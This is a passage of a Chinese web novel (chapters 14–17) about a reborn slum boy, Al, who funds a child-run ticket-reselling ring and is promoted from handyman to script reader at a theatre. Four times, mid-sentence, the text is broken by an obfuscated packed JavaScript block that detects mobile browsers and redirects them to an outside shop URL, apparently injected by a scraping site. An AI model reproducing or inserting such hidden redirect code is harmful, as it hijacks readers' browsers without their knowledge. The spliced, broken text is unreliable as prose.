哪怕在阿尔将自己的计划全盘托出,并且详细说明这五千块主要是用来做什么后,福尔曼先生依然犹豫地翻了翻那叠手写得整整齐齐的纸,面露歉意:“阿尔,我是相信你的!但这事……抱歉,我需要想想。”
这次福尔曼夫人也不插嘴了。
这可不是几十几百的生意,五千块毕竟不是小数目。
阿尔也没有失望。
相反,他反而松了一口气:“当然可以,这本来就是应该的。说实话,福尔曼先生,您对我的恩惠实在太大、太大了,我们一家人的命都是靠您最初借的一百块活下来的。单只这一件事,您就一点儿都不欠我什么,反而是我该感恩戴德您一辈子的!”
“至于这一次,完全是我不识好歹了。一个贫民区的穷小子,不老老实实地安贫乐道,守着家人过安稳日子,偏偏要兴起什么想要赚大钱的疯念头,还仗着您是个善心的好人就厚着脸皮登门。您如果真是看我可怜,或者因为我还是个孩子,就直接答应把钱拿给我,那我就太惭愧了,即使是得到了这笔钱,也要良心不安的。”
福尔曼先生感动极了。
他以前借钱给那么多人,虽然大多数人都会感谢他,可偶尔也会碰上那种嫌他借得钱少,或者因为他不借钱就要满嘴脏话乱骂一气,还要反过来指责他虚伪的白眼狼。
为此,他时常烦恼。
上帝知道,他真的是一个顶顶善良的好心人啊!
之所以不借钱给那些人,多半是因为那些人品行不端,或是烂赌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729503|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,或是谎话精,或是游手好闲、不务正业的懒汉……
可有一些外人看不到他做的好事,只盯着他这点儿“不借钱的错处”,认定了他是个假慈悲。
这话说得多了,不免也对他造成了一点儿影响,一时有些混乱地想:“难道真是我做错了?否则他们怎么会这么恨我呢?”
直到此时!
阿尔一番话直接说到了他心里,让他整个人都舒服了,再没有什么负担。
果然,那些说他坏话的人都是不识好歹的混账。
真正值得交往的正派人本就应该像阿尔这样懂得感恩才对。
为此,他满心柔情,甚至产生了一种“这孩子真是太贴心、太温柔了!哪怕是改天我和夫人生一个出来,恐怕也不会比他更好了”的莫名想法。
这时候,阿尔又说:“我现在只想求您一件事。”
福尔曼先生情绪正激动,听了这话,差点儿就直接答应,还好理智没有彻底掉线:“你说。”
阿尔就真诚地说:”哪怕您在考虑之后,认为风险太大,不想投资给我,也请千万不要因此有什么别扭,或者干脆就恼了我。等以后逢年过节,我带薄礼过来探望你们时,您和夫人假如为此事把我关在门外头不理,那我可真要伤透心了。钱是很重要,但我真的不想因为钱而失去我最好的恩人、最好的朋友,和最值得尊重的长辈,那太不值得了。”
啊!
天主在上!
听听,多好的孩子!
多好的孩子啊!
福尔曼夫人忍不住看了丈夫好几眼。
虽没真的出声说什么,可那表情大概已经把什么都说了。
然而,这还远远不是最后的尾声。
这孩子抿着唇,耳朵尖微红,踟蹰了几秒,一副很不好意思的样子,却又强撑着,绿眼睛透出期盼光芒地说了接下来的一番满含真情的话:“如果您宽宏大量,确实没生我的气,也愿意答应我刚刚提出的那个冒昧要求。那么,请看在我还是个孩子的份上,务必不要表现得太冷淡,直接给我一个拥抱吧,我的恩人,我的长辈,我的朋友!”
致命一击!
福尔曼先生浑身一震。
然后,他立刻眼含热泪地熊扑上去,张开双臂,将这个小小、惹人疼的孩子紧紧抱在了怀里。
——————————
等阿尔拿着五千块的支票回来时……
卢克大概和他姥姥一样,已经不再把他当人,只想把他当神仙一样供起来了。
“你觉得怎么样啊,卢克?咱们来大干一场?”
“我看行。”
“那我之前教你的那些都学会了吗?你应付得过来吗?”
“完全没问题!要是我笨手笨脚,不小心做错什么碍了你的事,你就让雷公来打杀我!”
15. 第15章
第15章阿尔:我是谁我在哪我现在该做什么?
有了钱,又有阿尔这个开了挂的重生人士来掌控大局……
这个以贫民区孩子为主要成员的票贩群体就奇迹般地一步步发展起来了。
正常来说,除了极少数的铁粉才会在预售期就早早买好戏票,绝大多数观众还是更习惯于在演出即将开始的前三四天,再到现场买票;还有一部分消息不灵通的人,甚至是演出都要马上开场了,他们才匆匆地赶到售票厅,掏钱来现买票。
本来这种操作也没什么问题。
可在阿尔扔钱进去买走一大堆票,又过了一段时间后,世界就变了。
这天,两名男子走进了剧院大厅,一边聊天,一边往前走。
其中一名男子看起来又矮又胖,脑袋还大,五官也平平无奇。
但他在说话时,眉飞色舞,一脸笑容,便给人一种非常快活的感觉:“……我真爱那部剧,对,说的就是那部《漂亮先生》,我超级爱!尤其是第三幕!你知道吗?查尔斯把那首《求爱》唱得是多么欢快啊!当他唱到那句‘一起跳吧,向左踏一步,再向右转个圈’的时候,我都想兔子一样地原地蹦起来,激动地跟着他一起跳舞,一起歌唱,一起去求爱……管他随便什么人呢,高的瘦的,男的女的,都无所谓,只要长着两条腿,能和我一起跳就行!”
“我的乖乖啊,我还从没看过这么精彩的剧!”
然后,他极诚恳地说:“朋友,虽然这么说不太好意思。但你错过那部剧几乎就等于错过了今年的整个演出季。”
“是啊,我现在也后悔没去看了。”另一名男子也搭腔说。
和他的朋友相比,他又高又瘦,只是头顶有些秃,脸上还戴着一副厚重的眼镜,显得特别严肃和古板:“但也没什么办法了,听说今晚是那部剧的最后一场,票早卖光了。不过,好在我们还能看看《罗密欧与朱丽叶》,听说这部剧今年改编很多,外面评价好坏参半,我实在有些好奇。”
“《罗密欧与朱丽叶》啊!”
矮胖的男子重复着念叨了一遍:“是经典,可也不知道这回的改编到底是个什么鬼样子,别又是换汤不换药,那就无聊了。而且,说句老实话,莎翁的剧年年都看,哪怕是山珍海味也该吃腻了。”
“你这么说,我可不赞成了。”
高瘦的古板男子立刻反驳:“好东西不管看几遍也是好东西,再说,那可是莎士比亚的杰作啊!要我说,除了上帝,世上恐怕再没什么人能和莎翁比创造力了。尤其是在咱们戏剧这行业里,他老人家就像是天空中的太阳一般,永远高悬头上,光彩夺目。”
“好好好,知道你爱他!”矮胖男子不由得又笑了起来。
然后,他十分自得其乐地又扯开了话题:“我听说,这次演朱丽叶的小姑娘可是很美嘞!”
两人这时候刚好走到售票亭前,便不再聊天。
那位矮胖的男士上前敲了敲售票亭的窗口,很熟练地说:“买票,两张,新版《罗密欧与朱丽叶》,今晚八点的那一场,前排票还有吗?”
这天值班的售票员刚好是那位与阿尔相熟的史密斯先生。
他拉开小窗户,告知两位说:“抱歉,票卖光了。”
“什么?”矮胖男子立时吃了一惊。
他低头看了看手腕上的表,更惊奇了:“这可才下午五点啊,这部剧很火吗?”
史密斯老老实实地回答:“这我可就不清楚了。”
“要不换个看。”
另一名高瘦的男子提议:“那个什么新出的剧《古国皇帝》,听名字倒是稀奇。”
矮胖男子便说:“我不太喜欢,听说胡编乱造比较多,口碑不怎么样呢。”
“呃……《古国皇帝》的票有是有,但好位置的票其实也没了,只剩下离舞台好远的顶层票。”
买票的史密斯趁机接口问:“您还要吗?”
这下子,两名男子都有点儿愕然了。
高瘦男子还好一点儿。
那名性格较为活泼的矮胖男子忍不住上去问:“伙计,讲实话吧,你们剧院是不是遭了什么变故?比如,着火了,刚好把几个戏厅都烧没了。再或者,吊灯砸下来,个别戏厅的好座位刚好就被全砸了个稀巴烂?”
“这么大的新闻怎么可能不见报。”卖票的史密斯一下子被逗笑了。
“得啦,您也别拿小的来寻开心了!”他把脑袋从售票亭的小窗口处伸了出来,先左右看了看,便做了个鬼鬼祟祟的招手样子。
那名矮胖男子和高瘦男子对视了一眼后,控制不住好奇心地都凑了过去:“怎么呢?”
卖票的史密斯就小声说:“论理,我不该说这事。但我看得出,你们两位是真心想看剧的,所以,干脆给你们指一条明路……这样,你们出了剧院大门,也别走远,走个大约十来步的距离,左右找一找,别理那些哄抬物价的王八蛋,只找那种戴报童帽的小孩。然后,上去问问他手里有没有多余的票。”
嘿,这倒是稀奇了!
矮胖男子不禁又问:“听你这话说的,别的票贩是哄抬物价的王八蛋,可你让我找的什么卖票的报童帽小男孩难道就不算了吗?”
“先不说那些孩子都是贫民区出来混碗饭吃的,看着就可怜,只说票价……”
卖票的史密斯就很是故弄玄虚地说:“他们还真没多要钱,反而便宜给您呢,我这么说您一准不信,只自己去问问就清楚了!”
两名男子不禁面面相觑,好奇心全被勾了起来。
于是,他们齐齐转身,朝着门口的方向走去,到了门口不远处就开始张望……
报童帽?报童帽?
这时候,果然看见了一个头戴报童帽的半大小子。
“先生,您是要买票吗?”
一注意到他的视线,那名戴着报童帽的半大小子立刻机灵地小跑过来,同时十二万分殷勤地笑问:“您瞧,我这有好些戏票的,价格都不贵的。”
矮胖男子便直接问了:“那你手里有今晚新版《罗密欧与朱丽叶》的票吗?”
“有的,先生。您要什么位置,两张吗?两张可以打九折。“小票贩认真地说。
那价格居然真的很良心!
仅仅是在戏票原价基础上,根据位置的好坏,又加了三、四块钱,而且,还要打九折。
稀奇!稀奇!真稀奇!
这年头连黄牛票贩也讲良心了!
两个买票的客人对视一眼,都从彼此的眼中看出了十分疑惑的神色。
可疑惑归疑惑,票还是要买,两人纷纷掏钱想买票。
这时,那名戴着报童帽的小票贩主动说话了。
他特别体贴地说:“两张票只打九折
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729504|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其实还是有点儿贵的,您要不要试试这么买,一张《罗朱》,再来一张《古国皇帝》。这样买的话,《古国皇帝》的票可以打五折。您只要多花那么一点儿钱,就能连看两场戏了,是不是很划算?”
矮胖男子和高瘦男子都蒙了,还可以这样?
然而,不等两人把账算明白了……
那小票贩又开始真心实意地帮他们考虑起来了:“哎,其实这样也不是最划算的。你们还可以办一个会员,只要再交三十块会费,就能办一张我们的会员年卡了。等办完,一整年以内,这片区域,所有戏票的票价全都给您打五折,日常优惠也超多,定期会给您邮寄剧院的最新节目单,逢年过节,还会有剧目和演员的周边和签名赠送。”
两名男子:等等,刚刚那个,我们还没算明白呢。
“除此以外,哪天您如果着急看剧,又懒得亲自来卖票时,只要一个电话,我们还可以免费送货上门,从此以后,您永远不用再发愁买不到票了。”
“您放心,我们长年在这里,绝不会拿钱跑路,身份、姓名、家庭住址什么的资料全都在警察局登记在案,有好几位信誉极佳的先生帮我们作保呢。”
现在黄牛都这么正规了吗?
两名男士:迷茫.jpg迷茫.jpg迷茫.jpg
小票贩继续鼓动:“别犹豫啊!最近是我们搞活动,会员卡才只要三十块。你们要是错过这一波后,马上就要涨价到五十了呢!”
两人彻底被绕晕,压根忘记他们并不想买什么《古国皇帝》,也不想办什么会员卡了。
这一刻,他们的思维路线大概是这样的:
黄牛现在都这么友好了吗?(在坑的边缘徘徊)
怎么感觉从黄牛这里买票比在售票厅买票更便宜呢?(站在坑边伸出腿试探)
更便宜的价格能看两场戏呢!(迈入坑中)
什么?办会员卡更便宜划算?(美滋滋地跳进大坑)
对了,我原本打算只花多少钱来着?
于是,这两名男子莫名其妙地买了两场剧的票,还办了两张会员卡。
虽然钱也花了,整件事情也已经结束,似乎好像是占了便宜,可怎么想怎么觉得不对劲儿呢。
正当两人站那,琢磨半天也没想明白的时候……
那名高瘦男子突然想起一件事,又把那个做完生意正想离开的男孩给叫了回来问:“你刚才说办了会员卡,不愁买不到票?”
戴着报童帽的男孩说:“是的,先生。大部分都可以,至于少部分特别难买的,我只能跟您保证,如果我们这里没有,那别人肯定也买不到。”
“那《漂亮先生》的票呢?”高瘦男子便问。
报童帽男孩一愣,继而忍不住笑了:“您还真问对人了。”
然后,他补充说:“有是有,不过,只有我们老大手上才有。而且,这剧一票难求,所以,价格上嘛……”
“价格好说,你们老大在哪?”
“他现在还没下班呢,等再过一个来小时的,我带您过去找他买。”
于是,大约一个来小时后……
阿尔面对着被自家小弟殷勤带过来,据说要高价找自己买票的米尔森先生,露出了一个尴尬而不失礼貌的微笑。
——求助!我下班兼职卖黄牛票,结果卖到了老板身上,怎么办?
16. 第16章
第16章米尔森先生:你要不要换个活儿?
尽管场面有些尴尬,但阿尔却凭借更为丰富的(厚脸皮)经验,很快镇定了下来。
他一把摘下和那名小票贩同款的报童帽,将帽子按在胸前,恭恭敬敬地行了个礼:“晚上好啊,米尔森先生。”
“你也晚上好,阿尔。”米尔森先生表情复杂地说。
不过,他顿了一顿后,语气古怪地又补充了一句:“没想到,你……真是生意兴隆啊!”
阿尔装出一副乖宝宝的样子,很是腼腆地笑了。
他谦虚地说:“不敢当您夸奖,只是混口饭吃?”
——我根本没夸你!
米尔森先生一边在心里想,一边流露出的表情更复杂了。
正常来说,这种员工私底下搞兼职撞上老板的场合,紧张无措的该是员工才对。
可偏偏阿尔表现得极为坦然,仿佛下班做做兼职完全是最最普通的常规性操作。
于是,这难题就抛给了米尔森先生,反而让他不知所措起来,甚至升起一种“不小心误入陌生领域,还不慎窥探到员工私生活”的窘迫感。
这么一来,向来作风老派的先生就被难住了。
他都不知道该说什么好了,只听阿尔说了一句混口饭吃,下意识地就是一愣,继而,不由自主地冒出一句格外突兀的话:“混口饭吃?结果……混成了老大?”
“先生,我也没想过啊!”
阿尔做出一个无奈的表情,还叫了几声屈:“不瞒您说,这一切都非我本心。我一开始只是想通过倒卖戏票,赚出一点儿辛苦钱来贴补家用,您不知道,我家的情况实在是……”
然后,他把“父亲早死,母亲怀着孕,弟弟妹妹要养”的那一串话又给拿出来说了一遍。
米尔森先生听后,心中不免也是怜悯、同情。
等说完这些,阿尔很是自然地叹了一口气。
接着,他又开始半真半假、轻描淡写地继续说下去:“贫民区像我这样的孩子太多了,我既然赚了钱,自然也想拉大家一把。于是,找了些与我同病相怜的孩子来帮忙,之后,还有好心人看我们可怜,从旁慷慨解囊地资助一二,才没让我们这些孩子吃了亏。等后来,我们做事认真、守规矩,又不胡乱哄抬物价,诚信待人,慢慢的,也就发展壮大成这样了。”
米尔森先生从未接触过类似事情,一时间不由听入了神。
“这么说,你也是很不容易了。”他不禁感叹。
阿尔立刻一脸“是啊,我确实太不容易了”的感慨表情。
并且,他还在一旁连连点头:“每次下班过来卖票,我都要忙到半夜十二点呢!真的是……唉,一分一角都是赚得辛苦钱。”
米尔森先生不禁流露出理解的目光。
阿尔寻思着,这应该算是过关了吧?
但没想到的是,米尔森先生在感慨万分后,居然很是体谅地说了这样一番话:“阿尔啊,既然你在这上面付出如此多的心血,又与这么多志同道合的朋友一起合作创业,我……惭愧地说,你这边收益只怕早早高过我给你开的周薪了。要不……”
他好心好意地给出了一个极体贴的建议:”要不,你干脆辞了我那边的勤杂工工作,把全部精力和时间都投到这项事业上吧。这样一来,哪怕晚上又要熬到十二点,可你白天也能有时间休息、休息了。”
“什么?”阿尔惊得差点儿跳起来。
他抬起头,像只傻兔子一般呆呆地望着米尔森先生,绿眼睛睁得大大,不敢置信地问:“您要开除我?!”
————————
“那让他开除好啦!一周才十块,怪没意思的!”卢克满不在乎的说。
他叼着烟,痞气十足地指了指桌上散乱摆放的钞票,那是大家今晚刚交上来的会员费,因为三十块一份,这个月又卖出去不少,钱交上来后,这么堆在桌上,真是小山一般庞大了。
“你真是见了鬼了,现在口气这么大!”阿尔很不爱听这话。
他一脸愤愤,义正言辞地指责:“这世道,难道人与人的感情都要开始拿钱的多少来衡量了吗?米尔森先生在我最难的时候雇佣了我,现在我有钱了,就可以说不干就不干了?再说,一周十块很少吗?十块钱可够买不少面包了。”
卢克不禁笑起来,眼光一时很是温柔,却又似乎觉得这事好玩:“你说得对。”
他假装附和了一句,可随后故意做出一副夸张的喜悦表情:“一周十块,天老爷啊,真是一笔舍不得失去的巨款啊!”
屋子里的其他人全都大笑起来。
有一个鼻子上穿鼻环的黑发瘦小子,刚好站在旁边,正低头拿一块抹布擦着一把雪亮亮的小刀,听到这么一番对话,不禁边笑边拍了拍卢克的胳膊。
“你们也太过分了,这是对老大的态度吗?”
之前把米尔森先生带到阿尔面前的那个罪魁祸首,戴报童帽的小票贩,机灵地摆出一个狗腿子样,站出来开始仗义执言:“老大在乎的是那十块钱吗?老大在乎的是失去那十块钱!”
大家听到这话先是愣了一下,接着爆出了更大声的笑。
阿尔气乐了,用手挨个儿指着他们:“好啊,我真是把你们全喂饱了,吃饱喝足,现在都敢随便开我玩笑了!我是连十块都小气的人吗?是不是我在你们眼里,已经成了为了省钱,忍饥挨饿要去马棚偷吃荞麦的老吝啬鬼了?”
“你别生气啊,阿尔。”一名个子非常高,还壮得像头熊一样的男孩开口说。
他笨拙地似乎想伸手拍拍阿尔的头,可又担心他不高兴,手伸到半截收了回来,语气很局促地问:“要不,我帮你把贝斯特打一顿吧。”
贝斯特,也就是那名戴报童帽的小票贩立刻怪叫一声:“凭什么啊!”
他气鼓鼓地做了个鬼脸过去:“老大才不会打我,你这个听不懂人话的黑熊!”
“好啦,好啦,我没生气。”
知道这两人性格上有些不对付,怕他们真打起来,阿尔忙又调解了几句,但也没放在心上。
只能说人招太多后,就这点儿最麻烦。
整天一堆人乱糟糟的,闲着无聊就互相打趣、找乐子。
但目前,能在这间充当临时办公室的屋子里站着的人,基本上都是人品过关,能力出众,值得交往的好兄弟,称得上是票贩集团的主力成员了。
所以,虽然打打闹闹,可阿尔也觉得还好。
又过了一会儿,大家随便说笑一番后,就各自散去。
他们明天还要继续忙碌地走街串巷,一来是推销生意,二来,也要及时为那些乐意花钱的大爷们提供所谓的优质会员服务,所以,也不敢熬得太晚,纷纷赶回家去休息了。。
“我真搞不懂你了,阿尔。”
等人都走光了,卢克才重新开口。
“别扯什么恩情一类的玩意儿糊弄我,报恩也不是这么报的。”
他把烟头按熄在桌子上,神色困惑:“你为什么非要去上那个班?那个什么见鬼的米尔森先生到底给了你什么好处吗?”
“好处没有,但有些事着实做起来有趣,一时很难同你说清。”
“可我想不出,当勤杂工能多有趣。”
“我又不会永远当勤杂工。”
“我知道了,你心里定是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729505|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又鼓捣什么来钱的鬼主意了?”
“这回真没有。”
阿尔难得地说了句真话:“其实这么说吧,我是真爱这行当。”
听了这话,卢克不禁后退几步,将他从头到脚,那么细细地打量了一遍,吹了一声口哨,调侃道:“哟,你也想登台唱大戏吗?”
阿尔有点儿烦他的语气了:“你管那么多做什么?难道我还不能有个喜好吗?”
卢克见他脸色不好了,忙知趣地把接下来准备好的数十句玩笑话又统统地咽了回去,只顺着他:“好好好,你总有自己的那一套。”
——————————
要被老板炒鱿鱼了,偏偏身边的好朋友们全都(喜闻乐见)说风凉话。
等回到家里,西尔维夫人也只会唠唠叨叨说一些谁家丈夫偷偷出去找女人鬼混,菜市场某某又丧良心地涨价等等一类无聊透顶的话,完全不具备任何可参考性。
阿尔只能独自闷闷不乐一整夜。
在外人看来,他的票贩事业蒸蒸日上,勤杂工的工作丢了也就丢了,实在不值一提。
但事实上,如果一个人坚持从事某个行业长达十数年后,通常会出现两种可能。
一种是无边的厌倦和烦躁,急切地想要脱离;一种是深深的热爱,把它打碎,让它融于自身骨血,彻底合为一体。
毫无疑问,阿尔属于后者。
在上辈子,他后来重塑的自信,他艰难取得的荣耀,他彻底被满足的虚荣,统统都来自戏剧!
所以,尽管勤杂工的工资很少,但他依然不想离开这个无比熟悉和习惯的环境。
当然,也许离开还可以找别的门路入行,但像米尔森先生这样正派的人,和爱丽丝小姐那么好心善良的人其实很少见,更何况,年龄限制,别人也不见得愿意雇佣一个童工,给自己找麻烦。
于是,在第二天上班的时候,阿尔快步走到米尔森先生的办公室:“先生,我想和您再解释下关于昨晚……”
“你来得正好啊,阿尔。”
米尔森先生一见他就高兴地招呼说:“我正想找你。”
“先生,我虽然做了点儿副业,但我……”
“是啊,你副业做得真不错。我还特地打听了一下,并不是所有票贩都像你这么赚钱的。”
“只是运气而已,先生,我想说……”
“怎么能是运气呢?你倒卖戏票的时候,回回都能挑到观众喜欢的剧,这就证明你眼光一等一得精准呢。”
“先生,我想说……”
“别你想说了,阿尔!我看得出,你是个顶顶好的懂事孩子,但一周十块对现在的你来说已经不合适了。”
“先生!”阿尔眼含热泪。
这一刻,他都打算赌咒发誓地表明心意了。
但米尔森先生却自顾自地说:“昨晚上承你不弃,一口回绝了我的建议。想来实在是惭愧,惭愧啊!没想到我今年如此落魄,却还有你和爱丽丝愿意继续忠心耿耿地追随于我。既然如此,我也不能辜负你的一番心意,假如你真不愿意离开我的话……阿尔,你要不要换一个活儿?“
“上帝作证,我绝不离开……什么?”阿尔愣住了。
他傻乎乎地追问:“您说什么?您不开除我啦?您说给我换个活儿是什么意思?”
米尔森先生微笑着说:“对啊,我给你换个活儿,别当勤杂工了,帮我审稿吧。”
他目光中满是期待和信任:“我一周给你开三十块,你也别藏着掖着,将自己那份好眼光大大方方地拿出来,好好给我挑出个能叫好也叫座的本子,等到下一个演出季,咱们一起东山再起,卷土重来!”
17. 第17章
第17章爱丽丝:男人真不是好东西啊!
审稿。
对于米尔森先生来说,是一个逼不得已的选择。
在这个教育普及度并不高,信息和知识的传播也有限的年代,绝大多数戏剧制片商并不相信世界上会有什么被埋没的天才剧作家。
在他们看来,但凡有点儿才华的剧作家,哪怕是暂时还没有什么真正的作品登上大舞台,可最起码,不拘题材,也得有那么几篇已经在报纸、杂志被正式刊登的文稿,来证明自身的水平,否则,那就是老鼠爬秤杆,不过是自称自大罢了。
基于这种想法,戏剧制作商们在寻找应对每年几个演出季的剧本时,都更倾向于重金礼聘知名剧作家,为自己进行一番量身打造,而不是选择在那些便宜,但良莠不齐,或者说普遍水平低劣的投稿中挑挑拣拣。
但这次情况不一样。
曾经是米尔森先生手中摇钱树的《卖花女孩》在这一年演出季惨淡收场,亏损了快四万元。
好在他手底下还有几部类似《哈姆雷特》、《亨利四世》一类的传统剧,正不温不火地赚着不算多的钱,使得他还能缓慢、艰难地回血,不至于立刻破产。
但这事伤筋动骨。
账面上一时资金周转不灵,不免就有了每天拆东墙补西墙的窘迫日常。
这样一来,重金礼聘知名剧作家就不现实了。
毕竟,哪怕勉强从账上抽出一笔钱,去成功买到一个好剧本。
可接下来,还要考虑怎么把这个好剧本制作出来……
问题来了。
如果钱都花在了买剧本上,制作费用又该从哪来?。
面对这样的局面,米尔森先生难免有捉襟见肘之感。
本来由于《卖花女孩》惨败的事情,他自觉元气大伤,很受打击,短时间内其实并不想再折腾什么,甚至有意在避让下一个演出季,只假装不存在,老老实实地休养生息,等彻底缓过这段时间,再重新振作,去好好排一部剧出来……
想法是很好的。
但这就好像年年都是受人瞩目的领舞者,今年突然成了看台乏人问津的观众一样,毫无参与感,还满心不甘。
于是,这才有了他和朋友一起相约,主动去挨个儿观看近期上演的,所有颇受剧评家好评的剧目,潜意识里未尝不是想借此找些灵感,以备东山再起。
然后,机缘巧合之下……
他撞上了阿尔。
在不懂行的人看来,阿尔的赚钱经历平平无奇,不过是买进卖出的小把戏。
但事实上,“幸运的阿尔”早就名声远扬。
要知道,很多资深票贩子都没办法像他那样总能买到热门票,再高价卖出。
多数票贩的生活都是饥一顿饱一顿,比如,米尔森先生那部《卖花女孩》曾坑惨不少人,高价买来、囤积的票,结果到了最后,全卖不出去,变废纸。
只有阿尔是真的买一笔赚一笔。
这要是彩票,恐怕早有人来调查他是不是有什么内部消息了。
但戏剧这玩意儿……
正常来说,一部剧到底能不能火?
不到最后一刻,是连内部人员都不敢轻易断言的。
由此,每每猜中结果的“幸运的阿尔”似乎就更具传奇性了。
但米尔森先生的想法却另辟蹊径,直接否定了迷信的运气论,反而认为阿尔是眼光精准、天赋异禀,对戏剧有着天生的敏锐和感知力。
所以,他脑海中灵光一闪,便有了让阿尔帮忙审稿,或者说,沙里淘金的想法。
于是,阿尔就这样晕乎乎地抱了一大摞剧本准备开工了。
办公室里,爱丽丝小姐对这个“勤杂工变审稿员”的变化很是惊奇。
等得知阿尔在卖票上做出的丰功伟绩,以及米尔森先生病急乱投医的想法后……
她不禁语气就变得有点儿复杂了:“了不起啊,阿尔,你真是了不起!”
阿尔便立刻做出苦笑的样子,还装出很为难的样子,谦虚地说:“爱丽丝小姐,您就不要拿我开玩笑了。卖票不过是混口饭吃,实没想到能得米尔森先生如此器重,我内心深处正诚惶诚恐,生怕辜负他的厚爱呢。”
爱丽丝性格单纯,立刻信以为真,不再计较阿尔背着她,用业余时间搞什么副业、兼职,尤其是还在卖对家戏票的事,主动帮忙打气加油:“亲爱的,你又何必妄自菲薄呢?米尔森先生既然能慧眼识珠,对你委以重任,定是看出你身上是有这份能力的,只要用心做事就好,再说,我们下个演出季……”
说到这里,她不由自主地停了停,压低声音说:“实不相瞒,我们下个演出季本就是打算勉力支撑,若是没有好本子,也只能干脆不参加了。所以,你不用有什么压力,只当一件平常差事,认真仔细去做就好。不过,若你真有本事,那我衷心希望你能挑出个好本子。如果那本子里,再能有几个合适角色,将咱们之前遣散的演员全都返聘回来,那更是好上加好的一桩美事。其实,你不知道,最近我这心里一直是很难受的。唉,但这事和你这么个小孩子也说不着……”
阿尔便疑惑地望着她。
爱丽丝想了想,还是告诉了他:“你知道吗?贝儿的未婚夫悔婚了。”
“啊?我记得他们很是恩爱的。”阿尔真的吃了一惊。
贝儿是《卖花女孩》中扮演女主闺蜜的女演员,地位相当于女三,戏份颇多,很受一部分观众喜爱,才貌都称得上一流。
而且,阿尔清楚地记得,那阵子她说要回家结婚时,语气甜得像是浸了蜜,很是自得地口口声声说未婚夫韦斯特爱她爱得发狂。
这才过了几个月啊?
怎么就变成了悔婚?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729506|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
因办公室这会儿也没什么人,手头的事情也不多。
爱丽丝干脆放下工作,八卦起来:“这事说来话长。前阵子,《卖花女孩》的演出团不是解散了吗?别人还好说,随便再找个组慢慢混着,可吉蒂、克莉斯和贝儿三人就有点儿麻烦。”
“怎么说呢?”
“这还用问吗?她们三个一直是演出团的台柱子,待遇那是一等一的好。可现在出去了,谁还给她们开那么高的待遇呀?再说,她们演了好几年《卖花女孩》中的角色,形象早被定型,真竞争起主角来,那竞争力不一定比别的女演员强到哪里去。”
“这也是没法子的事,可她们都是有真本事的人,熬过这个坎,说不定就有转机呢。”
“道理是这个道理,可有几个人能看得开啊?所以,一直高不成低不就,克莉斯和吉蒂不说了。之前,贝儿嘴上喊着要结婚,其实心里是舍不得这个舞台的。等现在境况不好,她却是真想放弃了,反正是有退路的,干脆死了心结婚去,从此稳稳当当地相夫教子也挺好。但没想到的是,她未婚夫韦斯特当初看上她,就是冲着她是个当红女演员,很给自己涨面子的意思……”
“什么?涨面子?照这么说,要共度一生的妻子难不成还该是什么装饰品吗?”
“谁说不是?因他如今和贝儿彻底闹掰了,克莉斯和吉蒂也不再瞒着,就隐隐透露出,之前这位韦斯特先生居然也是追过她俩的。只是克莉斯性子高傲,压根看不上他;吉蒂又是个惯会拿腔作势、装傻充楞,但半句准话儿都不给的折磨人性子,这才转而追求了好脾气的贝儿。结果现在,他见贝儿落魄,就要闹着悔婚去捧安娜了。“
“等等,安娜又是谁?”
“亏你还靠卖《漂亮先生》的戏票起家,怎么连安娜都不知道,她是那部剧的女配啊,最近可红了。”
阿尔听得都呆了。
爱丽丝很是愤愤:“男人真不是好东西啊!你把那么珍贵的一颗心捧给了他,他不知道好好珍藏在心底深处,反过来还要拿到明面上,摆放到人人都能见的乱七八糟场合,像个战利品一样,可着劲儿地炫耀!等炫耀得腻了,不新鲜了,就又想换一个更好的。我算是看透了,任你千娇百媚也没用,男人就是要图新鲜,从此以后,我这辈子再不想结婚的事了。”
“这……这……”
阿尔就有点儿尴尬起来:“这也不能一竿子打翻一船人啊,你再想想,男人还是有好的,比如,比如,比如……你眼前这个。”
爱丽丝小姐先是一愣,等反应过来,一边忍不住快笑死,一边又稀罕得不行:“哎哟,我可真把你给忘了!”
